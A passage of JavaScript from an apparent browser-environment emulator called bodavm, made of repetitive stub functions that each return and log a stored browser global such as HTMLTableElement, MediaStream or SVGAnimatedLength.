bodavm.memory.globalobj['HTMLScriptElement']; console.log(`window_HTMLScriptElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLSelectElement = function () { let arg = bodavm.memory.globalobj['HTMLSelectElement']; console.log(`window_HTMLSelectElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLSlotElement = function () { let arg = bodavm.memory.globalobj['HTMLSlotElement']; console.log(`window_HTMLSlotElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLSourceElement = function () { let arg = bodavm.memory.globalobj['HTMLSourceElement']; console.log(`window_HTMLSourceElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLSpanElement = function () { let arg = bodavm.memory.globalobj['HTMLSpanElement']; console.log(`window_HTMLSpanElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLStyleElement = function () { let arg = bodavm.memory.globalobj['HTMLStyleElement']; console.log(`window_HTMLStyleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableCaptionElement = function () { let arg = bodavm.memory.globalobj['HTMLTableCaptionElement']; console.log(`window_HTMLTableCaptionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableCellElement = function () { let arg = bodavm.memory.globalobj['HTMLTableCellElement']; console.log(`window_HTMLTableCellElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableColElement = function () { let arg = bodavm.memory.globalobj['HTMLTableColElement']; console.log(`window_HTMLTableColElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableElement = function () { let arg = bodavm.memory.globalobj['HTMLTableElement']; console.log(`window_HTMLTableElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableRowElement = function () { let arg = bodavm.memory.globalobj['HTMLTableRowElement']; console.log(`window_HTMLTableRowElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableSectionElement = function () { let arg = bodavm.memory.globalobj['HTMLTableSectionElement']; console.log(`window_HTMLTableSectionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTemplateElement = function () { let arg = bodavm.memory.globalobj['HTMLTemplateElement']; console.log(`window_HTMLTemplateElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTextAreaElement = function () { let arg = bodavm.memory.globalobj['HTMLTextAreaElement']; console.log(`window_HTMLTextAreaElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTimeElement = function () { let arg = bodavm.memory.globalobj['HTMLTimeElement']; console.log(`window_HTMLTimeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTitleElement = function () { let arg = bodavm.memory.globalobj['HTMLTitleElement']; console.log(`window_HTMLTitleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTrackElement = function () { let arg = bodavm.memory.globalobj['HTMLTrackElement']; console.log(`window_HTMLTrackElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLUListElement = function () { let arg = bodavm.memory.globalobj['HTMLUListElement']; console.log(`window_HTMLUListElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLUnknownElement = function () { let arg = bodavm.memory.globalobj['HTMLUnknownElement']; console.log(`window_HTMLUnknownElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLVideoElement = function () { let arg = bodavm.memory.globalobj['HTMLVideoElement']; console.log(`window_HTMLVideoElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HashChangeEvent = function () { let arg = bodavm.memory.globalobj['HashChangeEvent']; console.log(`window_HashChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Headers = function () { let arg = bodavm.memory.globalobj['Headers']; console.log(`window_Headers`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBCursor = function () { let arg = bodavm.memory.globalobj['IDBCursor']; console.log(`window_IDBCursor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBCursorWithValue = function () { let arg = bodavm.memory.globalobj['IDBCursorWithValue']; console.log(`window_IDBCursorWithValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBIndex = function () { let arg = bodavm.memory.globalobj['IDBIndex']; console.log(`window_IDBIndex`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBKeyRange = function () { let arg = bodavm.memory.globalobj['IDBKeyRange']; console.log(`window_IDBKeyRange`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBObjectStore = function () { let arg = bodavm.memory.globalobj['IDBObjectStore']; console.log(`window_IDBObjectStore`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBOpenDBRequest = function () { let arg = bodavm.memory.globalobj['IDBOpenDBRequest']; console.log(`window_IDBOpenDBRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBRequest = function () { let arg = bodavm.memory.globalobj['IDBRequest']; console.log(`window_IDBRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBTransaction = function () { let arg = bodavm.memory.globalobj['IDBTransaction']; console.log(`window_IDBTransaction`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBVersionChangeEvent = function () { let arg = bodavm.memory.globalobj['IDBVersionChangeEvent']; console.log(`window_IDBVersionChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IIRFilterNode = function () { let arg = bodavm.memory.globalobj['IIRFilterNode']; console.log(`window_IIRFilterNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IdleDeadline = function () { let arg = bodavm.memory.globalobj['IdleDeadline']; console.log(`window_IdleDeadline`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageBitmap = function () { let arg = bodavm.memory.globalobj['ImageBitmap']; console.log(`window_ImageBitmap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageBitmapRenderingContext = function () { let arg = bodavm.memory.globalobj['ImageBitmapRenderingContext']; console.log(`window_ImageBitmapRenderingContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageCapture = function () { let arg = bodavm.memory.globalobj['ImageCapture']; console.log(`window_ImageCapture`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageData = function () { let arg = bodavm.memory.globalobj['ImageData']; console.log(`window_ImageData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_InputDeviceCapabilities = function () { let arg = bodavm.memory.globalobj['InputDeviceCapabilities']; console.log(`window_InputDeviceCapabilities`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_InputDeviceInfo = function () { let arg = bodavm.memory.globalobj['InputDeviceInfo']; console.log(`window_InputDeviceInfo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_InputEvent = function () { let arg = bodavm.memory.globalobj['InputEvent']; console.log(`window_InputEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IntersectionObserver = function () { let arg = bodavm.memory.globalobj['IntersectionObserver']; console.log(`window_IntersectionObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IntersectionObserverEntry = function () { let arg = bodavm.memory.globalobj['IntersectionObserverEntry']; console.log(`window_IntersectionObserverEntry`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_KeyboardEvent = function () { let arg = bodavm.memory.globalobj['KeyboardEvent']; console.log(`window_KeyboardEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_KeyframeEffect = function () { let arg = bodavm.memory.globalobj['KeyframeEffect']; console.log(`window_KeyframeEffect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LargestContentfulPaint = function () { let arg = bodavm.memory.globalobj['LargestContentfulPaint']; console.log(`window_LargestContentfulPaint`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LayoutShift = function () { let arg = bodavm.memory.globalobj['LayoutShift']; console.log(`window_LayoutShift`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LayoutShiftAttribution = function () { let arg = bodavm.memory.globalobj['LayoutShiftAttribution']; console.log(`window_LayoutShiftAttribution`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaCapabilities = function () { let arg = bodavm.memory.globalobj['MediaCapabilities']; console.log(`window_MediaCapabilities`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaElementAudioSourceNode = function () { let arg = bodavm.memory.globalobj['MediaElementAudioSourceNode']; console.log(`window_MediaElementAudioSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaEncryptedEvent = function () { let arg = bodavm.memory.globalobj['MediaEncryptedEvent']; console.log(`window_MediaEncryptedEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaError = function () { let arg = bodavm.memory.globalobj['MediaError']; console.log(`window_MediaError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaList = function () { let arg = bodavm.memory.globalobj['MediaList']; console.log(`window_MediaList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaQueryList = function () { let arg = bodavm.memory.globalobj['MediaQueryList']; console.log(`window_MediaQueryList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaQueryListEvent = function () { let arg = bodavm.memory.globalobj['MediaQueryListEvent']; console.log(`window_MediaQueryListEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaRecorder = function () { let arg = bodavm.memory.globalobj['MediaRecorder']; console.log(`window_MediaRecorder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStream = function () { let arg = bodavm.memory.globalobj['MediaStream']; console.log(`window_MediaStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamAudioDestinationNode = function () { let arg = bodavm.memory.globalobj['MediaStreamAudioDestinationNode']; console.log(`window_MediaStreamAudioDestinationNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamAudioSourceNode = function () { let arg = bodavm.memory.globalobj['MediaStreamAudioSourceNode']; console.log(`window_MediaStreamAudioSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamEvent = function () { let arg = bodavm.memory.globalobj['MediaStreamEvent']; console.log(`window_MediaStreamEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamTrackEvent = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackEvent']; console.log(`window_MediaStreamTrackEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MessageChannel = function () { let arg = bodavm.memory.globalobj['MessageChannel']; console.log(`window_MessageChannel`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MessageEvent = function () { let arg = bodavm.memory.globalobj['MessageEvent']; console.log(`window_MessageEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MessagePort = function () { let arg = bodavm.memory.globalobj['MessagePort']; console.log(`window_MessagePort`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MimeType = function () { let arg = bodavm.memory.globalobj['MimeType']; console.log(`window_MimeType`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MimeTypeArray = function () { let arg = bodavm.memory.globalobj['MimeTypeArray']; console.log(`window_MimeTypeArray`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MouseEvent = function () { let arg = bodavm.memory.globalobj['MouseEvent']; console.log(`window_MouseEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MutationEvent = function () { let arg = bodavm.memory.globalobj['MutationEvent']; console.log(`window_MutationEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MutationRecord = function () { let arg = bodavm.memory.globalobj['MutationRecord']; console.log(`window_MutationRecord`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NamedNodeMap = function () { let arg = bodavm.memory.globalobj['NamedNodeMap']; console.log(`window_NamedNodeMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NetworkInformation = function () { let arg = bodavm.memory.globalobj['NetworkInformation']; console.log(`window_NetworkInformation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Node = function () { let arg = bodavm.memory.globalobj['Node']; console.log(`window_Node`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NodeFilter = function () { let arg = bodavm.memory.globalobj['NodeFilter']; console.log(`window_NodeFilter`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NodeIterator = function () { let arg = bodavm.memory.globalobj['NodeIterator']; console.log(`window_NodeIterator`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NodeList = function () { let arg = bodavm.memory.globalobj['NodeList']; console.log(`window_NodeList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OfflineAudioCompletionEvent = function () { let arg = bodavm.memory.globalobj['OfflineAudioCompletionEvent']; console.log(`window_OfflineAudioCompletionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OfflineAudioContext = function () { let arg = bodavm.memory.globalobj['OfflineAudioContext']; console.log(`window_OfflineAudioContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OffscreenCanvas = function () { let arg = bodavm.memory.globalobj['OffscreenCanvas']; console.log(`window_OffscreenCanvas`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OffscreenCanvasRenderingContext2D = function () { let arg = bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D']; console.log(`window_OffscreenCanvasRenderingContext2D`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OscillatorNode = function () { let arg = bodavm.memory.globalobj['OscillatorNode']; console.log(`window_OscillatorNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OverconstrainedError = function () { let arg = bodavm.memory.globalobj['OverconstrainedError']; console.log(`window_OverconstrainedError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PageTransitionEvent = function () { let arg = bodavm.memory.globalobj['PageTransitionEvent']; console.log(`window_PageTransitionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PannerNode = function () { let arg = bodavm.memory.globalobj['PannerNode']; console.log(`window_PannerNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Path2D = function () { let arg = bodavm.memory.globalobj['Path2D']; console.log(`window_Path2D`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceElementTiming = function () { let arg = bodavm.memory.globalobj['PerformanceElementTiming']; console.log(`window_PerformanceElementTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceEntry = function () { let arg = bodavm.memory.globalobj['PerformanceEntry']; console.log(`window_PerformanceEntry`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceEventTiming = function () { let arg = bodavm.memory.globalobj['PerformanceEventTiming']; console.log(`window_PerformanceEventTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceLongTaskTiming = function () { let arg = bodavm.memory.globalobj['PerformanceLongTaskTiming']; console.log(`window_PerformanceLongTaskTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceMark = function () { let arg = bodavm.memory.globalobj['PerformanceMark']; console.log(`window_PerformanceMark`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceMeasure = function () { let arg = bodavm.memory.globalobj['PerformanceMeasure']; console.log(`window_PerformanceMeasure`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceNavigation = function () { let arg = bodavm.memory.globalobj['PerformanceNavigation']; console.log(`window_PerformanceNavigation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceNavigationTiming = function () { let arg = bodavm.memory.globalobj['PerformanceNavigationTiming']; console.log(`window_PerformanceNavigationTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceObserver = function () { let arg = bodavm.memory.globalobj['PerformanceObserver']; console.log(`window_PerformanceObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceObserverEntryList = function () { let arg = bodavm.memory.globalobj['PerformanceObserverEntryList']; console.log(`window_PerformanceObserverEntryList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformancePaintTiming = function () { let arg = bodavm.memory.globalobj['PerformancePaintTiming']; console.log(`window_PerformancePaintTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceResourceTiming = function () { let arg = bodavm.memory.globalobj['PerformanceResourceTiming']; console.log(`window_PerformanceResourceTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceServerTiming = function () { let arg = bodavm.memory.globalobj['PerformanceServerTiming']; console.log(`window_PerformanceServerTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceTiming = function () { let arg = bodavm.memory.globalobj['PerformanceTiming']; console.log(`window_PerformanceTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PeriodicWave = function () { let arg = bodavm.memory.globalobj['PeriodicWave']; console.log(`window_PeriodicWave`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Plugin = function () { let arg = bodavm.memory.globalobj['Plugin']; console.log(`window_Plugin`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PluginArray = function () { let arg = bodavm.memory.globalobj['PluginArray']; console.log(`window_PluginArray`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PointerEvent = function () { let arg = bodavm.memory.globalobj['PointerEvent']; console.log(`window_PointerEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PopStateEvent = function () { let arg = bodavm.memory.globalobj['PopStateEvent']; console.log(`window_PopStateEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ProcessingInstruction = function () { let arg = bodavm.memory.globalobj['ProcessingInstruction']; console.log(`window_ProcessingInstruction`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ProgressEvent = function () { let arg = bodavm.memory.globalobj['ProgressEvent']; console.log(`window_ProgressEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PromiseRejectionEvent = function () { let arg = bodavm.memory.globalobj['PromiseRejectionEvent']; console.log(`window_PromiseRejectionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCCertificate = function () { let arg = bodavm.memory.globalobj['RTCCertificate']; console.log(`window_RTCCertificate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDTMFSender = function () { let arg = bodavm.memory.globalobj['RTCDTMFSender']; console.log(`window_RTCDTMFSender`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDTMFToneChangeEvent = function () { let arg = bodavm.memory.globalobj['RTCDTMFToneChangeEvent']; console.log(`window_RTCDTMFToneChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDataChannel = function () { let arg = bodavm.memory.globalobj['RTCDataChannel']; console.log(`window_RTCDataChannel`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDataChannelEvent = function () { let arg = bodavm.memory.globalobj['RTCDataChannelEvent']; console.log(`window_RTCDataChannelEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDtlsTransport = function () { let arg = bodavm.memory.globalobj['RTCDtlsTransport']; console.log(`window_RTCDtlsTransport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCEncodedAudioFrame = function () { let arg = bodavm.memory.globalobj['RTCEncodedAudioFrame']; console.log(`window_RTCEncodedAudioFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCEncodedVideoFrame = function () { let arg = bodavm.memory.globalobj['RTCEncodedVideoFrame']; console.log(`window_RTCEncodedVideoFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCError = function () { let arg = bodavm.memory.globalobj['RTCError']; console.log(`window_RTCError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCErrorEvent = function () { let arg = bodavm.memory.globalobj['RTCErrorEvent']; console.log(`window_RTCErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCIceCandidate = function () { let arg = bodavm.memory.globalobj['RTCIceCandidate']; console.log(`window_RTCIceCandidate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCPeerConnection = function () { let arg = bodavm.memory.globalobj['RTCPeerConnection']; console.log(`window_RTCPeerConnection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCPeerConnectionIceErrorEvent = function () { let arg = bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent']; console.log(`window_RTCPeerConnectionIceErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCPeerConnectionIceEvent = function () { let arg = bodavm.memory.globalobj['RTCPeerConnectionIceEvent']; console.log(`window_RTCPeerConnectionIceEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCRtpReceiver = function () { let arg = bodavm.memory.globalobj['RTCRtpReceiver']; console.log(`window_RTCRtpReceiver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCRtpSender = function () { let arg = bodavm.memory.globalobj['RTCRtpSender']; console.log(`window_RTCRtpSender`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCRtpTransceiver = function () { let arg = bodavm.memory.globalobj['RTCRtpTransceiver']; console.log(`window_RTCRtpTransceiver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCSctpTransport = function () { let arg = bodavm.memory.globalobj['RTCSctpTransport']; console.log(`window_RTCSctpTransport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCSessionDescription = function () { let arg = bodavm.memory.globalobj['RTCSessionDescription']; console.log(`window_RTCSessionDescription`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCStatsReport = function () { let arg = bodavm.memory.globalobj['RTCStatsReport']; console.log(`window_RTCStatsReport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCTrackEvent = function () { let arg = bodavm.memory.globalobj['RTCTrackEvent']; console.log(`window_RTCTrackEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RadioNodeList = function () { let arg = bodavm.memory.globalobj['RadioNodeList']; console.log(`window_RadioNodeList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Range = function () { let arg = bodavm.memory.globalobj['Range']; console.log(`window_Range`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableByteStreamController = function () { let arg = bodavm.memory.globalobj['ReadableByteStreamController']; console.log(`window_ReadableByteStreamController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStream = function () { let arg = bodavm.memory.globalobj['ReadableStream']; console.log(`window_ReadableStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStreamBYOBReader = function () { let arg = bodavm.memory.globalobj['ReadableStreamBYOBReader']; console.log(`window_ReadableStreamBYOBReader`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStreamBYOBRequest = function () { let arg = bodavm.memory.globalobj['ReadableStreamBYOBRequest']; console.log(`window_ReadableStreamBYOBRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStreamDefaultController = function () { let arg = bodavm.memory.globalobj['ReadableStreamDefaultController']; console.log(`window_ReadableStreamDefaultController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStreamDefaultReader = function () { let arg = bodavm.memory.globalobj['ReadableStreamDefaultReader']; console.log(`window_ReadableStreamDefaultReader`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReportingObserver = function () { let arg = bodavm.memory.globalobj['ReportingObserver']; console.log(`window_ReportingObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Request = function () { let arg = bodavm.memory.globalobj['Request']; console.log(`window_Request`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ResizeObserver = function () { let arg = bodavm.memory.globalobj['ResizeObserver']; console.log(`window_ResizeObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ResizeObserverEntry = function () { let arg = bodavm.memory.globalobj['ResizeObserverEntry']; console.log(`window_ResizeObserverEntry`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ResizeObserverSize = function () { let arg = bodavm.memory.globalobj['ResizeObserverSize']; console.log(`window_ResizeObserverSize`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Response = function () { let arg = bodavm.memory.globalobj['Response']; console.log(`window_Response`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAElement = function () { let arg = bodavm.memory.globalobj['SVGAElement']; console.log(`window_SVGAElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAngle = function () { let arg = bodavm.memory.globalobj['SVGAngle']; console.log(`window_SVGAngle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimateElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateElement']; console.log(`window_SVGAnimateElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimateMotionElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateMotionElement']; console.log(`window_SVGAnimateMotionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimateTransformElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateTransformElement']; console.log(`window_SVGAnimateTransformElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedAngle = function () { let arg = bodavm.memory.globalobj['SVGAnimatedAngle']; console.log(`window_SVGAnimatedAngle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedBoolean = function () { let arg = bodavm.memory.globalobj['SVGAnimatedBoolean']; console.log(`window_SVGAnimatedBoolean`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedEnumeration = function () { let arg = bodavm.memory.globalobj['SVGAnimatedEnumeration']; console.log(`window_SVGAnimatedEnumeration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedInteger = function () { let arg = bodavm.memory.globalobj['SVGAnimatedInteger']; console.log(`window_SVGAnimatedInteger`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedLength = function () { let arg = bodavm.memory.globalobj['SVGAnimatedLength']; console.log(`window_SVGAnimatedLength`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedLengthList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedLengthList']; console.log(`window_SVGAnimatedLengthList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedNumber = function () { let arg = bodavm.memory.globalobj['SVGAnimatedNumber']; console.log(`window_SVGAnimatedNumber`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedNumberList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedNumberList']; console.log(`window_SVGAnimatedNumberList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedPreserveAspectRatio = function () { let arg = bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio']; console.log(`window_SVGAnimatedPreserveAspectRatio`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedRect = function () { let arg = bodavm.memory.globalobj['SVGAnimatedRect']; console.log(`window_SVGAnimatedRect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedString = function () { let arg = bodavm.memory.globalobj['SVGAnimatedString']; console.log(`window_SVGAnimatedString`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedTransformList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedTransformList']; console.log(`window_SVGAnimatedTransformList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimationElement = function () { let arg = bodavm.memory.globalobj['SVGAnimationElement']; console.log(`window_SVGAnimationElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGCircleElement = function () { let arg = bodavm.memory.globalobj['SVGCircleElement']; console.log(`window_SVGCircleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGClipPathElement = function () { let arg = bodavm.memory.globalobj['SVGClipPathElement']; console.log(`window_SVGClipPathElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGComponentTransferFunctionElement = function () { let arg = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; console.log(`window_SVGComponentTransferFunctionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGDefsElement = function () { let arg = bodavm.memory.globalobj['SVGDefsElement']; console.log(`window_SVGDefsElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGDescElement = function () { let arg = bodavm.memory.globalobj['SVGDescElement']; console.log(`window_SVGDescElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGElement = function () { let arg = bodavm.memory.globalobj['SVGElement']; console.log(`window_SVGElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGEllipseElement = function () { let arg = bodavm.memory.globalobj['SVGEllipseElement']; console.log(`window_SVGEllipseElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEBlendElement = function () { let arg = bodavm.memory.globalobj['SVGFEBlendElement']; console.log(`window_SVGFEBlendElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEColorMatrixElement = function () { let arg = bodavm.memory.globalobj['SVGFEColorMatrixElement']; console.log(`window_SVGFEColorMatrixElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEComponentTransferElement = function () { let arg = bodavm.memory.globalobj['SVGFEComponentTransferElement']; console.log(`window_SVGFEComponentTransferElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFECompositeElement = function () { let arg = bodavm.memory.globalobj['SVGFECompositeElement']; console.log(`window_SVGFECompositeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEConvolveMatrixElement = function () { let arg = bodavm.memory.globalobj['SVGFEConvolveMatrixElement']; console.log(`window_SVGFEConvolveMatrixElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEDiffuseLightingElement = function () { let arg = bodavm.memory.globalobj['SVGFEDiffuseLightingElement']; 